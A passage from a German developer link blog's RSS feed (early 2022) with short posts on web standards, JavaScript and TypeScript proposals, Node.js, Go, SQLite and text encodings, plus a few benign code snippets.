</content:encoded><language>de-DE</language><category>cpp</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/10/0.html</guid><pubDate>Thu, 10 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heute kam eine Folge von DotNetRocks zu &lt;a href=&quot;https://www.dotnetrocks.com/?show=1780&quot;&gt;20 Jahren C# mit Anders Hejlsberg&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/15/0.html</guid><pubDate>Tue, 15 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.blog/2022-02-14-include-diagrams-markdown-files-mermaid/&quot;&gt;Bei GitHub kann man jetzt Mermaid-Charts in Markdown verwenden&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/15/1.html</guid><pubDate>Tue, 15 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://germano.dev/sse-websockets&quot;&gt;Server-Sent Events: the alternative to WebSockets you should be using&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;SSEs sind quasi Ajax-Long-Polling, nur in JS integriert. Lohnt sich also für unidirektionalen Datenfluss.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/20/0.html</guid><pubDate>Sun, 20 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Zu dem Artikel über Server-Sent-Events neulich gibts es noch &lt;a href=&quot;https://www.mnot.net/blog/2022/02/20/websockets&quot;&gt;eine Ergänzung, die ein paar Implikationen darstellt&lt;/a&gt;. Der Autor ist bei der HTTP working group bei der IETF.&lt;/p&gt;
&lt;p&gt;Auch interessant ist der &lt;a href=&quot;https://www.w3.org/TR/webtransport&quot;&gt;Verweis auf WebTransport&lt;/a&gt;. Das ist ein kommender Standard, der Streams und Datagramme über HTTP/3 laufen lässt. Da HTTP/3 unten drunter das verschlüsselte, UDP-basierte QUIC verwendet, hat man ziemliche Narrenfreiheit, was neue Features verwendet. Vielleicht hätte man technisch gesehen TCP noch anpassen können. Es hat ja reservierte Felder und Verhalten, das man noch spezifizieren könnte. In der Praxis fällt das jedoch weg, da es ganz viele Geräte gibt, die dann den Traffic einfach droppen würden. Das nennt man &lt;a href=&quot;https://http3-explained.haxx.se/en/why-quic/why-ossification&quot;&gt;&quot;Ossification of Protocols&quot;&lt;/a&gt;. Einer der Kerngründe, warum bei QUIC so viel wie möglich verschlüsselt (und damit nicht für die middle-boxes sichtbar) ist.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://web.dev/webtransport&quot;&gt;Hier eine Demo von WebTransport mit Code&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/22/0.html</guid><pubDate>Tue, 22 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/dotnet/early-peek-at-csharp-11-features/&quot;&gt;Early peek at C# 11 features&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/23/0.html</guid><pubDate>Wed, 23 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://dev.to/madza/24-lesser-known-html-attributes-you-may-want-to-use-1059&quot;&gt;24 Lesser-Known HTML Attributes You May Want to Use&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Die meisten waren schon hier im Blog, aber es ist &apos;ne schöne Liste.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/26/0.html</guid><pubDate>Sat, 26 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://cs.lmu.edu/~ray/notes/languagedesignnotes/&quot;&gt;So you want to design a programming language?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ohmjs.org/editor&quot;&gt;Der verlinkte BNF-Editor&lt;/a&gt; ist auch schön anzusehen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/27/0.html</guid><pubDate>Sun, 27 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://sqlite.org/releaselog/3_38_0.html&quot;&gt;SQLite 3.38.0 ist da&lt;/a&gt;. Neu ist u. a. der JSON-Support, der jetzt per Default eingeschaltet ist. Dazu kamen auch noch &lt;a href=&quot;https://tirkarthi.github.io/programming/2022/02/26/sqlite-json-improvements.html&quot;&gt;JSON-Operatoren, die mit Postgres kompatibel sind&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/01/0.html</guid><pubDate>Tue, 01 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-6/&quot;&gt;TypeScript 4.6&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/04/0.html</guid><pubDate>Fri, 04 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://people.eecs.berkeley.edu/~necula/cil/cil016.html&quot;&gt;Who Says C is Simple?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/04/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/04/1.html</guid><pubDate>Fri, 04 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.chrome.com/blog/canvas2d/&quot;&gt;Neue Context2D-Canvas-Features&lt;/a&gt;. Darunter: Rounded Rectangles und Filter.&lt;/p&gt;
&lt;p&gt;Ist alles eine sinnvolle Erweiterung, gibt aber (wie bei Google öfter üblich) nicht mal einen verabschiedeten Standard dafür. Oder einen, der irgendwo offiziell gelistet ist. Die Features sind aber noch hinter dem &lt;a href=&quot;https://chromestatus.com/feature/6051647656558592&quot;&gt;&lt;code&gt;new-canvas-2d-api&lt;/code&gt;-Flag&lt;/a&gt;. &lt;a href=&quot;https://github.com/fserb/canvas2d&quot;&gt;Ein Google-Mitarbeiter hat Specs/MDN-Drafts bei sich in einem Repo&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/05/0.html</guid><pubDate>Sat, 05 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://journal.stuffwithstuff.com/2015/09/08/the-hardest-program-ive-ever-written/&quot;&gt;The Hardest Program I’ve Ever Written&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Geht um einen Formatter für Source Code.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/05/1.html</guid><pubDate>Sat, 05 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://qrdate.org&quot;&gt;Ein Tool für Timestamps&lt;/a&gt;. Zeigt einen QR-Code der aktuellen Uhrzeit an.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/09/0.html</guid><pubDate>Wed, 09 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://boredcaveman.xyz/post/0x2_static-torrent-website-p2p-queries.html&quot;&gt;Schaut Euch das mal an&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ich hatte schon im Blog: SQLite im Browser mit HTTP-Range-Requests, sodass man in einigen Use-Cases ein Backend wegrationalisieren und durch eine statisch gehostete SQLite-Datei ersetzen kann.&lt;/p&gt;
&lt;p&gt;Später kam dann darauf basierend ein &lt;a href=&quot;https://static.wiki&quot;&gt;statisch gehostetes Wikipedia mit Suchfunktion&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das nächste Level ist jetzt die oben verlinkte Seite: Die SQLite-Datei nicht per HTTP servieren, sondern mit BitTorrent. Was viele nicht wissen: &lt;a href=&quot;https://webtorrent.io&quot;&gt;Torrents gehen mittlerweile auch im Browser&lt;/a&gt;, über WebRTC. &lt;a href=&quot;https://en.wikipedia.org/wiki/Comparison_of_BitTorrent_clients&quot;&gt;&lt;code&gt;libtorrent&lt;/code&gt;&lt;/a&gt; unterstützt das auch, damit auch die &lt;a href=&quot;https://de.wikipedia.org/wiki/Libtorrent&quot;&gt;bekannten Clients wie Deluge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Was macht man mit so einer dezentralen SQLite-DB? &lt;a href=&quot;https://boredcaveman.xyz/demo/p2psearch/&quot;&gt;Die Demo ist jedenfalls eine Torrent-Suchmaschine&lt;/a&gt;, die Magnet-Links zurückgibt.&lt;/p&gt;
&lt;p&gt;Ich bin von dieser Kreativität beeindruckt. Eingedampft hat man hier eine HTML-Seite mit ein bisschen JavaScript, die man statisch hosten kann. Bekommen tut man eine Torrent-Suchmaschine.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/09/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/09/1.html</guid><pubDate>Wed, 09 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/formatRange&quot;&gt;Intl.NumberFormat .formatRange&lt;/a&gt; kann Zahlen- (und auch Währungs-) Ranges formatieren. Auszug aus MDN:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const nf = new Intl.NumberFormat(&quot;es-ES&quot;, {
  style: &quot;currency&quot;,
  currency: &quot;EUR&quot;,
  maximumFractionDigits: 0,
});

console.log(nf.formatRange(3, 5); // → &quot;3-5 €&quot;
console.log(nf.formatRange(2.9, 3.1); // → &quot;~3 €&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wird aber noch von keinem Browser unterstützt (&lt;a href=&quot;https://c.com/mdn-javascript_builtins_intl_numberformat_formatrange&quot;&gt;caniuse&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/10/0.html</guid><pubDate>Thu, 10 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade ist &lt;a href=&quot;https://github.com/giltayar/proposal-types-as-comments&quot;&gt;dieses Peoposal&lt;/a&gt; in meiner Timeline aufgetaucht. Ein Author ist Daniel Rosenwasser, bekannt aus dem TypeScript-Projekt.&lt;/p&gt;
&lt;p&gt;Idee: einen Großteil der TS-Syntax in JS aufnehmen, allerdings ohne Typüberprüfung. Die Type-Annotations sollen von der Engine komplett ignoriert werden, ist also an der Stelle ähnlich zu dem Type-Hints aus Python. Nur kann man bei Python noch zur Laufzeit auf die Typen zurückgreifen. Das würde hier auch entfallen.&lt;/p&gt;
&lt;p&gt;Als MS mit TypeScript angefangen hat, hätte Anders geäußert, dass statische Typen in der JS-Welt nicht gern gesehen sind - zumindest nicht in der Kernsprache. In dem Proposal ist ein Screenshot aus The-State-Of-JavaScript. Dort wünschten sich die Teilnehmer der Umfrage - mit Abstand - statische Typisierung am meisten.
Das sieht für mich aus, als hätte MS da eine ziemliche Erfolgsstory mit TypeScript hingelegt.&lt;/p&gt;
&lt;p&gt;Das Proposal wurde nichtmal dem TC39 vorgelegt - es wird also noch sehr lange dauern, sollte etwas in dieser Richtung kommen. &lt;em&gt;Falls&lt;/em&gt; es kommt, wäre das ein ziemlicher Game-Changer. Man erspart sich damit, &lt;code&gt;.d.ts&lt;/code&gt;-Dateien mit auszuliefern. Da JS dann größtenteils quasi das ist, was TS heute ist, wird TS dadurch deutlich zurück gehen und vorrangig nur noch als Type-Checker für JS dienen. Es würde tatsächlich vieles vereinfachen.&lt;/p&gt;
&lt;p&gt;Spannend!&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/10/1.html</guid><pubDate>Thu, 10 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bald könnte eine native &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Barcode_Detection_API&quot;&gt;Barcode-API&lt;/a&gt; für den Browser kommen. Dazu kommt vielleicht auch noch &lt;a href=&quot;https://web.dev/shape-detection&quot;&gt;Face-Detection und Text-Detection&lt;/a&gt;, läuft alles unter dem Namen &lt;code&gt;ShapeDetection&lt;/code&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/12/0.html</guid><pubDate>Sat, 12 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://r.bluethl.net/how-to-design-better-apis&quot;&gt;How to design better APIs&lt;/a&gt;. Geht um HTTP-basierte-APIs.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>api-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/13/0.html</guid><pubDate>Sun, 13 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich sammle gern interessante Poster. Manche sind echt schön für einen Hackerspace oder vergleichbarem. Bin gerade wieder auf dieses gestoßen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://hackaday.com/2013/09/28/electronics-everything-reference-poster/&quot;&gt;Electronics Everything Reference Poster&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Meine Lieblingssammlung: &lt;a href=&quot;https://github.com/corkami/pics&quot;&gt;corkami/pics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Der Ersteller der Postersammlung &lt;a href=&quot;https://media.ccc.de/search?p=Ange+Albertini&quot;&gt;spricht auch gern mal beim CCC&lt;/a&gt;. Er hat auch einen &lt;a href=&quot;https://media.ccc.de/v/31c3_-_5930_-_en_-_saal_6_-_201412291400_-_funky_file_formats_-_ange_albertini&quot;&gt;Vortrag über das PDF&lt;/a&gt; gemacht (empfehlenswert).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/14/0.html</guid><pubDate>Mon, 14 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/meilisearch/meilisearch/releases/tag/v0.26.0&quot;&gt;MeiliSearch 0.26&lt;/a&gt; ist da.&lt;/p&gt;
&lt;p&gt;Ich schreibe das eigentlich nur, weil ich das ein cooles Projekt finde. Die neue Version hat tenant tokens.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/15/0.html</guid><pubDate>Tue, 15 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/golang/go/releases/tag/go1.18&quot;&gt;Go 1.18 ist da&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://tip.golang.org/doc/go1.18&quot;&gt;Neuerungen&lt;/a&gt;: Generics und ein &lt;code&gt;any&lt;/code&gt;-Keyword für &lt;code&gt;interface{}&lt;/code&gt;. Damit sollte quasi jedes Go-Projekt ungefähr um die Hälfte schrumpfen.&lt;/p&gt;
&lt;p&gt;Achja, und sie haben jetzt einen Fuzzer, den man für Tests verwenden kann. &lt;a href=&quot;https://go.dev/doc/tutorial/fuzz&quot;&gt;Hier ein kleines Tutorial&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/18/0.html</guid><pubDate>Fri, 18 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.jakubkonka.com/2022/03/16/hcs-zig.html&quot;&gt;Zig kann Hot-Code-Reloading&lt;/a&gt;. Bei VS &lt;a href=&quot;https://devblogs.microsoft.com/cppblog/edit-your-c-code-while-debugging-with-hot-reload-in-visual-studio-2022/&quot;&gt;kam das für C++ erst in VS 2022&lt;/a&gt;. .NET kann es auch seit Version 6.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>zig</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/24/0.html</guid><pubDate>Thu, 24 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=_mZBa3sqTrI&quot;&gt;Plain Text - Dylan Beattie - NDC Oslo 2021&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ein richtig guter Talk mit vielen Anekdoten über Text, Text-Encodings, deren Geschichte, Ligaturen, Rendering, Emoji, etc. Ich verlinke Artikel zu diesem Thema wirklich oft, aber dieser Talk fasst sehr viel sehr gut zusammen.&lt;/p&gt;
&lt;p&gt;Die Kommentare sind auch interessant. Unter anderem:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There&apos;s a text encoding &quot;joke&quot; here in China. The MSVC debugger will initialize any unallocated stack memory to &lt;code&gt;0xcccccccc&lt;/code&gt;, which will translate into GBK codec as &quot;烫烫烫烫&quot; (the GBK codec is a 2-byte encoding system). &quot;烫&quot; means hot. So when the program is hot, it means you&apos;re encountering a wildcard pointer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://washingtonindependent.com/japan-path-separator-yen/&quot;&gt;Eine Anekdote kann ich auch liefern&lt;/a&gt;:
In Japan is das Standardzeichen für Directory-Separator unter Windows das Zeichen &lt;code&gt;¥&lt;/code&gt;. Das liegt daran, dass das Symbol früher auf deren Code-Page da war, wo eigentlich &lt;code&gt;\\&lt;/code&gt; im Rest der Welt (bzw. da, bei dem, was die Amis verwendet haben) war.
Das hat sich so durchgesetzt, dass das in Japan heute noch der &quot;normale&quot; Directory-Separator ist. Und sie verwenden ihn auch, wenn sie E-Mails schicken, in denen sie Geldbeträge nennen. Es kann deshalb auch heute noch vorkommen, dass man dann einen Text wie &lt;code&gt;1000 \\&lt;/code&gt; zugeschickt bekommt. Oder auch die Windows-CMD zeigt den falschen Directory-Separator an: &lt;a href=&quot;https://superuser.com/questions/1167662&quot;&gt;Why is Windows 10 displaying \ ‎as ‎¥ on the command line?&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/03/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/03/29/0.html</guid><pubDate>Tue, 29 Mar 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mayt.substack.com/p/gpt-3-can-run-code&quot;&gt;GPT-3 kann Code ausführen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/0.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das Proposal mit den Type-Annotations für JavaScript von neulich ist nun ein &lt;a href=&quot;https://github.com/tc39/proposal-type-annotations&quot;&gt;offizielles TC39-Proposal&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/1.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/cd/E19957-01/806-3568/ncg_goldberg.html&quot;&gt;What Every Computer Scientist Should Know About Floating-Point Arithmetic &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Unter anderem wird erklärt, warum die Summe eines IEEE-Float-Arrays abhängig von der Reihenfolge der Elemente sind (Spoiler: Rechnen mit IEEE ist nicht kommutativ).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/2.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das &lt;a href=&quot;https://github.com/tc39/proposal-change-array-by-copy&quot;&gt;Change Array by Copy&lt;/a&gt;-Proposal ist nun in Stage 3 und wird damit umgesetzt.&lt;/p&gt;
&lt;p&gt;Damit kommen jetzt folgende Funktionen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const array = [1, 2, 3, 4];

const array0 = array.toReversed();
const array1 = array.toSorted(compareFn);
const array2 = array.toSpliced(start, deleteCount, ...items);
const array3 = array.with(index, value);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Früher musste man häufig auf &lt;a href=&quot;https://doesitmutate.xyz&quot;&gt;doesitmutate.xyz&lt;/a&gt; nachschauen. Jetzt ist es etwas expliziter. TypedArrays (Uint8Array etc.) bekommen die Funktionen auch.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/3.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://simonplend.com/deep-clone-values-with-structuredclone&quot;&gt;Node.js kann jetzt Deep-Copys machen&lt;/a&gt;. Funktioniert mit &lt;a href=&quot;https://2ality.com/2022/01/structured-clone.html&quot;&gt;&lt;code&gt;structuredClone&lt;/code&gt;&lt;/a&gt;, was auch die &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/structuredClone&quot;&gt;Browser schon können&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nie wieder &lt;code&gt;JSON.parse(JSON.stringify(a))&lt;/code&gt; und sich über kaputte &lt;code&gt;Date&lt;/code&gt;s ärgern.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/4.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/tc39/proposal-function-once&quot;&gt;Function.prototype.once&lt;/a&gt; wrappt eine Funktion so, dass sie nur ein Mal aufgerufen wird. Beim wiederholtem Aufruf wird das Ergebnis vom ersten zurückgegeben.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/5.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/5.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei Node.js waren. Wir hatten schon ein paar mal den &lt;code&gt;AbortController&lt;/code&gt; hier. Da gibt es jetzt eine Convenience-Method: &lt;code&gt;AbortSignal.timeout(delay)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://nodejs.org/api/globals.html#static-method-abortsignaltimeoutdelay&quot;&gt;Node.js kann die ab Version 17 und 16.14&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/6.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/6.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://fusebit.io/blog/node-testing-comes-to-core/&quot;&gt;Node.js bekommt built-in Test-Runner&lt;/a&gt;. Aus dem Post:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const test = require(&apos;node:test&apos;);
const assert = require(&apos;assert&apos;);

test(&apos;synchronous passing test&apos;, (t) =&amp;gt; {
  // This test passes because it does not throw an exception.
  assert.strictEqual(1, 1);

});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wann kommt es?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Colin, the architect behind this initiative, has indicated that it will be available behind an &lt;strong&gt;experimental flag when Node 18 is pushed out&lt;/strong&gt;, which is currently scheduled for &lt;strong&gt;April 19th&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It&apos;s also available in nightly builds released after the 24th of March, 2022.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/05/7.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/05/7.html</guid><pubDate>Tue, 05 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL es gibt ein standardisiertes Format für Test-Output: &lt;a href=&quot;https://testanything.org&quot;&gt;Test Anything Protocol&lt;/a&gt; (TAP).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/06/0.html</guid><pubDate>Wed, 06 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich habe &lt;a href=&quot;/2021/03/16/1.html&quot;&gt;letztes Jahr&lt;/a&gt; mal darüber geschrieben, wie heute hoffnungslos überskaliert wird.&lt;/p&gt;
&lt;p&gt;Heute flog mir ein Artikel von 2017 zu, den man ggf. auch gut verlinken kann: &lt;a href=&quot;https://blog.bradfieldcs.com/you-are-not-google-84912cf44afb?gi=3239087b9b49&quot;&gt;You are not Google&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/06/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/06/1.html</guid><pubDate>Wed, 06 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.media.mit.edu/projects/2d-an-exploration-of-drawing-as-programming-language-featuring-ideas-from-lambda-calculus/overview/&quot;&gt;λ-2D: An Exploration of Drawing as Programming Language, Featuring Ideas from Lambda Calculus&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/14/0.html</guid><pubDate>Thu, 14 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-4-7-beta/&quot;&gt;TypeScript 4.7&lt;/a&gt;. Ein paar interessante Sachen sind dabei. Man kann jetzt Co- und Kontravarianz angeben. Dazu gibt&apos;s &lt;a href=&quot;https://www.youtube.com/watch?v=LoeEstgMXQs&quot;&gt;hier&lt;/a&gt; ein Video, das das erklärt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/19/0.html</guid><pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nodejs.org/en/blog/release/v18.0.0/&quot;&gt;Node.js 18 ist da&lt;/a&gt;.&lt;/p&gt;
